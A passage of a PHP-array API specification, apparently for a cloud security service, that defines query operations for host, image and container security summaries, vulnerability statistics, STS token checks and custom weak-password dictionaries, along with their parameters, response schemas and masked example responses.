'AlarmEvent' => [ 'description' => 'The alert details of the host.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The alert level. Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'example' => 'remind', ], 'Count' => [ 'description' => 'The number of alerts.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], 'description' => '', ], ], 'VulEvent' => [ 'description' => 'The vulnerability details of the host.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk level of the vulnerability. Valid values:'."\n" ."\n" .'* **asap**: high. You must fix the vulnerability at the earliest opportunity.'."\n" .'* **nntf**: medium. You can fix the vulnerability based on your business requirements.'."\n" .'* **later**: low. You can ignore the vulnerability.'."\n", 'type' => 'string', 'example' => 'later', ], 'Count' => [ 'description' => 'The number of vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '3', ], ], 'description' => '', ], ], 'BaselineEvent' => [ 'description' => 'The baseline details of the host.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk level of the baseline. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'medium', ], 'Count' => [ 'description' => 'The number of baselines.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], 'description' => '', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\",\\n \\"ClusterHostEvent\\": {\\n \\"AlarmEvent\\": [\\n {\\n \\"RiskLevel\\": \\"remind\\",\\n \\"Count\\": 1\\n }\\n ],\\n \\"VulEvent\\": [\\n {\\n \\"RiskLevel\\": \\"later\\",\\n \\"Count\\": 3\\n }\\n ],\\n \\"BaselineEvent\\": [\\n {\\n \\"RiskLevel\\": \\"medium\\",\\n \\"Count\\": 1\\n }\\n ]\\n }\\n}","type":"json"}]', 'title' => 'DescribeClusterHostSecuritySummary', ], 'DescribeClusterImageSecuritySummary' => [ 'summary' => 'Queries the statistical information about image security.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '60.190.XXX.XXX', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c3aaf6c8085f84791882eef200cd2****', ], ], [ 'name' => 'ContainerFieldName', 'in' => 'query', 'schema' => [ 'description' => 'The key of the condition that is used to query containers. Valid values:'."\n" ."\n" .'* **instanceId**: the instance ID of the container'."\n" .'* **clusterId**: the ID of the cluster'."\n" .'* **regionId**: the region ID of the container'."\n" .'* **clusterName**: the name of the cluster'."\n" .'* **image**: the name of the image'."\n" .'* **imageRepoName**: the name of the image repository'."\n" .'* **imageRepoNamespace**: the namespace to which the image repository belongs'."\n" .'* **imageRepoTag**: the tag that is added to the image repository'."\n" .'* **imageDigest**: the digest of the image'."\n" .'* **clusterType**: the type of the cluster'."\n" .'* **hostIp**: the public IP address'."\n" .'* **pod**: the pod'."\n" .'* **podIp**: the IP address of the pod'."\n" .'* **containerId**: the ID of the container'."\n" .'* **vulStatus**: whether vulnerabilities are detected on the container'."\n" .'* **alarmStatus**: whether alerts are generated for the container'."\n" .'* **riskStatus**: whether risks are detected on the container'."\n" .'* **riskLevel**: the risk level of the container'."\n" .'* **containerScope**: the type of the container'."\n", 'type' => 'string', 'required' => false, 'example' => 'clusterId', ], ], [ 'name' => 'ContainerFieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the condition that is used to query containers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c2ac28b2d0c734df29a21d29f18ac****', ], ], [ 'name' => 'ImageRepoName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'repo', ], ], [ 'name' => 'ImageRepoNamespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'namespace', ], ], [ 'name' => 'ImageTag', 'in' => 'query', 'schema' => [ 'description' => 'The tag of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => '3.54.0.1', ], ], [ 'name' => 'ImageDigest', 'in' => 'query', 'schema' => [ 'description' => 'The digest of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => '402902de6480a020b9f29e7105e77b8a218bc1cccbc3935d3b38c8ea9ba2****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'ClusterImageEvent' => [ 'description' => 'The information about the image-related security events.'."\n", 'type' => 'object', 'properties' => [ 'ImageCveVul' => [ 'description' => 'The information about image system vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The alert level. Valid values:'."\n" ."\n" .'* **asap**: high. You must fix the vulnerability at the earliest opportunity.'."\n" .'* **nntf**: medium. You can fix the vulnerability based on your business requirements.'."\n" .'* **later**: low. You can ignore the vulnerability.'."\n", 'type' => 'string', 'example' => 'later', ], 'Count' => [ 'description' => 'The number of vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], 'description' => '', ], ], 'ImageMaliciousFile' => [ 'description' => 'The information about malicious image samples.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'medium', ], 'Count' => [ 'description' => 'The number of malicious samples.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], 'description' => '', ], ], 'ImageScaVul' => [ 'description' => 'The information about image application vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The alert level. Valid values:'."\n" ."\n" .'* **asap**: high. You must fix the vulnerability at the earliest opportunity.'."\n" .'* **nntf**: medium. You can fix the vulnerability based on your business requirements.'."\n" .'* **later**: low. You can ignore the vulnerability.'."\n", 'type' => 'string', 'example' => 'later', ], 'Count' => [ 'description' => 'The number of image application vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], 'description' => '', ], ], 'ImageBaseline' => [ 'description' => 'The information about image baseline risks.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'medium', ], 'Count' => [ 'description' => 'The number of baselines.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], ], 'description' => '', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"ClusterImageEvent\\": {\\n \\"ImageCveVul\\": [\\n {\\n \\"RiskLevel\\": \\"later\\",\\n \\"Count\\": 0\\n }\\n ],\\n \\"ImageMaliciousFile\\": [\\n {\\n \\"RiskLevel\\": \\"medium\\",\\n \\"Count\\": 0\\n }\\n ],\\n \\"ImageScaVul\\": [\\n {\\n \\"RiskLevel\\": \\"later\\",\\n \\"Count\\": 0\\n }\\n ],\\n \\"ImageBaseline\\": [\\n {\\n \\"RiskLevel\\": \\"medium\\",\\n \\"Count\\": 0\\n }\\n ]\\n }\\n}","type":"json"}]', 'title' => 'DescribeClusterImageSecuritySummary', ], 'DescribeContainerServiceK8sClusters' => [ 'summary' => 'Queries a list of Container Service for Kubernetes (ACK) clusters.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '42.120.XXX.XXX', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', ], 'K8sClusters' => [ 'description' => 'The information about the clusters.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'cluster-test', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'cdbbe7aa56cbf4b8f830f83718d26****', ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'AckFailure', 'errorMessage' => 'Failed to operate ack.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\",\\n \\"K8sClusters\\": [\\n {\\n \\"Name\\": \\"cluster-test\\",\\n \\"ClusterId\\": \\"cdbbe7aa56cbf4b8f830f83718d26****\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeContainerServiceK8sClusters', ], 'DescribeCustomizedDictUploadInfo' => [ 'summary' => 'Queries the Object Storage Service (OSS) information of the file that is uploaded to create custom weak password rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '106.11.43.***', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Key' => [ 'description' => 'The key of the OSS object.'."\n", 'type' => 'string', 'example' => 'HC_CUSTOMIZED_DICT/176618589410****.tmp', ], 'Signature' => [ 'description' => 'The OSS signature.'."\n", 'type' => 'string', 'example' => 'mWGRgn0CtdbVf8UuJbTXOmo2****', ], 'Host' => [ 'description' => 'The OSS endpoint.'."\n", 'type' => 'string', 'example' => 'https://aegis-update-static-file.oss-cn-hangzhou.aliyuncs.com', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'BDEDEEE7-AC25-559E-8C12-5168B139****', ], 'Policy' => [ 'description' => 'The policy of the OSS bucket.'."\n", 'type' => 'string', 'example' => 'eyJleHBpcmF0aW9uIjoiMjAyNC0wNy0wMlQxMTo1Nzo1MC44MzJaIiwiY29uZGl0aW9ucyI6W1siY29udGVudC1sZW5ndGgtcmFuZ2UiLDAsNDA5NjBdLFsiZXEiLCIka2V5IiwiSENfQ1VTVE9NSVpFRF9ESUNUXC8xNzY2MTg1ODk0MTA0Njc1LnRtc****', ], 'Accessid' => [ 'description' => 'The AccessKey ID that is required to access the OSS object.'."\n", 'type' => 'string', 'example' => 'yourAccessKeyID', ], 'Expire' => [ 'description' => 'The time when the OSS signature expires. This value is a UNIX timestamp.'."\n", 'type' => 'string', 'example' => '1719921470', ], 'SecurityToken' => [ 'description' => 'The security token.', 'type' => 'string', 'example' => '***', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Key\\": \\"HC_CUSTOMIZED_DICT/176618589410****.tmp\\",\\n \\"Signature\\": \\"mWGRgn0CtdbVf8UuJbTXOmo2****\\",\\n \\"Host\\": \\"https://aegis-update-static-file.oss-cn-hangzhou.aliyuncs.com\\",\\n \\"RequestId\\": \\"BDEDEEE7-AC25-559E-8C12-5168B139****\\",\\n \\"Policy\\": \\"eyJleHBpcmF0aW9uIjoiMjAyNC0wNy0wMlQxMTo1Nzo1MC44MzJaIiwiY29uZGl0aW9ucyI6W1siY29udGVudC1sZW5ndGgtcmFuZ2UiLDAsNDA5NjBdLFsiZXEiLCIka2V5IiwiSENfQ1VTVE9NSVpFRF9ESUNUXC8xNzY2MTg1ODk0MTA0Njc1LnRtc****\\",\\n \\"Accessid\\": \\"yourAccessKeyID\\",\\n \\"Expire\\": \\"1719921470\\",\\n \\"SecurityToken\\": \\"***\\"\\n}","type":"json"}]', 'title' => 'DescribeCustomizedDictUploadInfo', ], 'CheckStsTokenAuth' => [ 'summary' => 'Checks a Security Token Service (STS) token and returns the ID of the Alibaba Cloud account.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '151356', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The ID of the Alibaba Cloud account.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '185685871307****', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '898F7AA7-CECD-5EC7-AF4D-664C601B****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 0,\\n \\"RequestId\\": \\"898F7AA7-CECD-5EC7-AF4D-664C601B****\\"\\n}","type":"json"}]', 'title' => 'CheckStsTokenAuth', ], 'DescribeVulDefendCountStatistics' => [ 'summary' => 'Queries the vulnerability defense statistics in Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '221262', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'VulType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerabilities. Valid values:'."\n" ."\n" .'* app: application vulnerabilities'."\n" .'* emg: urgent vulnerabilities'."\n", 'type' => 'string', 'required' => false, 'example' => 'emg', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', ], 'RaspDefendedCount' => [ 'description' => 'The number of defended vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'RaspDefensibleCount' => [ 'description' => 'The number of supported vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"RaspDefendedCount\\": 10,\\n \\"RaspDefensibleCount\\": 100\\n}","type":"json"}]', 'title' => 'DescribeVulDefendCountStatistics', ], 'DescribeVulMetaCountStatistics' => [ 'summary' => 'Queries the statistics of vulnerabilities in Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '221237', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', ], 'CveCount' => [ 'description' => 'The number of Linux software vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'SysCount' => [ 'description' => 'The number of Windows system vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'AppCount' => [ 'description' => 'The number of application vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RaspDefendCount' => [ 'description' => 'The number of vulnerabilities that can be defended by the application protection feature.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\",\\n \\"CveCount\\": 10,\\n \\"SysCount\\": 10,\\n \\"AppCount\\": 0,\\n \\"RaspDefendCount\\": 10\\n}","type":"json"}]', 'title' => 'DescribeVulMetaCountStatistics', ], 'CreateCustomizedDict' => [ 'summary' => 'Creates custom weak password rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91923', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '106.11.43.***', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Override', 'in' => 'query', 'schema' => [ 'description' => 'Whether to overwrite. Value range: - true: Overwrite. - false: Do not overwrite.', 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '08571630-26D8-5E07-A4B7-DF8E89CF****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"08571630-26D8-5E07-A4B7-DF8E89CF****\\"\\n}","type":"json"}]', 'title' => 'CreateCustomizedDict', 'translator' => 'machine', ], 'DescribeContainerFieldStatistics' => [ 'summary' => 'Queries the statistical information about containers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'ContainerGroupedFields' => [ 'description' => 'The statistical information about containers.'."\n", 'type' => 'object', 'properties' => [ 'RiskImageCount' => [ 'description' => 'The number of the images on which risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskPodCount' => [ 'description' => 'The number of the pods on which risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'NamespaceCount' => [ 'description' => 'The number of namespaces.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'PodCount' => [ 'description' => 'The number of pods.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AppCount' => [ 'description' => 'The number of applications.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'ContainerCount' => [ 'description' => 'The number of containers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ImageCount' => [ 'description' => 'The number of images.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'RiskContainerCount' => [ 'description' => 'The number of the containers on which risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ClusterCount' => [ 'description' => 'The number of clusters.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskAppCount' => [ 'description' => 'The number of the applications on which risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskClusterCount' => [ 'description' => 'The number of the clusters on which risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskInstanceCount' => [ 'description' => 'The number of the instances on which risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'InstanceCount' => [ 'description' => 'The number of instances.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"ContainerGroupedFields\\": {\\n \\"RiskImageCount\\": 1,\\n \\"RiskPodCount\\": 2,\\n \\"NamespaceCount\\": 3,\\n \\"PodCount\\": 1,\\n \\"AppCount\\": 3,\\n \\"ContainerCount\\": 1,\\n \\"ImageCount\\": 3,\\n \\"RiskContainerCount\\": 1,\\n \\"ClusterCount\\": 1,\\n \\"RiskAppCount\\": 1,\\n \\"RiskClusterCount\\": 1,\\n \\"RiskInstanceCount\\": 3,\\n \\"InstanceCount\\": 1\\n }\\n}","type":"json"}]', 'title' => 'DescribeContainerFieldStatistics', ], 'DescribeContainerGroupedFieldDetail' => [ 'summary' => 'Queries the attribute details of containers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search conditions that are used to query assets. The value of this parameter is in the JSON format. Separate multiple search conditions with commas (,). Example: `[{"name":"riskStatus","value":"YES"},{"name":"riskLevel","value":"2"}]`.'."\n" ."\n" .'> Supported search conditions include the instance ID, instance name, virtual private cloud (VPC) ID, region, and public IP address. You can call the [DescribeCriteria](~~DescribeCriteria~~) operation to query the supported search conditions.'."\n", 'type' => 'string', 'required' => true, 'example' => '[{\\"name\\":\\"clusterId\\",\\"value\\":\\"cfd26658431084c73a48dd97328ba8acf\\"}]', ], ], [ 'name' => 'GroupField', 'in' => 'query', 'schema' => [ 'description' => 'The filter condition for a grouping and aggregation query. Valid values:'."\n" ."\n" .'* **pod**'."\n" .'* **appName**'."\n" .'* **clusterId**'."\n" .'* **namespace**'."\n" .'* **image**'."\n" .'* **containerScan**'."\n", 'type' => 'string', 'required' => true, 'example' => 'pod', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Pod' => [ 'description' => 'The name of the pod.'."\n", 'type' => 'string', 'example' => 'node-local-dns-zwsxl', ], 'CreateTime' => [ 'description' => 'The creation time.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1702433618301', ], 'ContainerCount' => [ 'description' => 'The number of containers.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Namespace' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => 'default', ], 'ClusterState' => [ 'description' => 'The status of the cluster. Valid values:'."\n" ."\n" .'* STARTING: The cluster is being started.'."\n" .'* START_FAILED: The cluster fails to be started.'."\n" .'* BOOTSTRAPPING: The bootstrap action is being performed for the cluster.'."\n" .'* RUNNING: The cluster is running.'."\n" .'* TERMINATING: The cluster is being terminated.'."\n" .'* TERMINATED: The cluster is terminated.'."\n" .'* TERMINATED_WITH_ERRORS: The cluster is terminated due to an exception.'."\n" .'* TERMINATE_FAILED: The cluster fails to be terminated.'."\n", 'type' => 'string', 'example' => 'RUNNING', ], 'RegionId' => [ 'description' => 'The ID of the region.'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], 'AppName' => [ 'description' => 'The name of the application.'."\n", 'type' => 'string', 'example' => 'node-local-dns', ], 'InstanceCount' => [ 'description' => 'The number of instances.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ClusterType' => [ 'description' => 'The type of the cluster. Valid values:'."\n" ."\n" .'* **Kubernetes**: dedicated Kubernetes cluster.'."\n" .'* **ManagedKubernetes**: standard managed cluster (edge cluster).'."\n" .'* **Ask**: serverless Kubernetes (ASK) cluster.'."\n", 'type' => 'string', 'example' => 'ManagedKubernetes', ], 'NodeName' => [ 'description' => 'The name of the node.'."\n", 'type' => 'string', 'example' => 'shangliang-test', ], 'PodCount' => [ 'description' => 'The number of pods.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'zhhtest', ], 'PodIp' => [ 'description' => 'The IP address of the pod.'."\n", 'type' => 'string', 'example' => '192.168.1.1', ], 'ClusterCurrentVersion' => [ 'description' => 'The version of the current online server in the cluster.'."\n", 'type' => 'string', 'example' => '1.14.8-aliyun.1', ], 'VulCount' => [ 'description' => 'The number of vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AlarmCount' => [ 'description' => 'The number of alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"Data\\": {\\n \\"Pod\\": \\"node-local-dns-zwsxl\\",\\n \\"CreateTime\\": 1702433618301,\\n \\"ContainerCount\\": 1,\\n \\"Namespace\\": \\"default\\",\\n \\"ClusterState\\": \\"RUNNING\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"AppName\\": \\"node-local-dns\\",\\n \\"InstanceCount\\": 1,\\n \\"ClusterType\\": \\"ManagedKubernetes\\",\\n \\"NodeName\\": \\"shangliang-test\\",\\n \\"PodCount\\": 1,\\n \\"ClusterName\\": \\"zhhtest\\",\\n \\"PodIp\\": \\"192.168.1.1\\",\\n \\"ClusterCurrentVersion\\": \\"1.14.8-aliyun.1\\",\\n \\"VulCount\\": 1,\\n \\"AlarmCount\\": 1,\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeContainerGroupedFieldDetail', ], 'DescribeContainerServiceK8sClusterKritisStatus' => [ 'summary' => 'Queries the Kritis status of a Container Service for Kubernetes (ACK) cluster.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 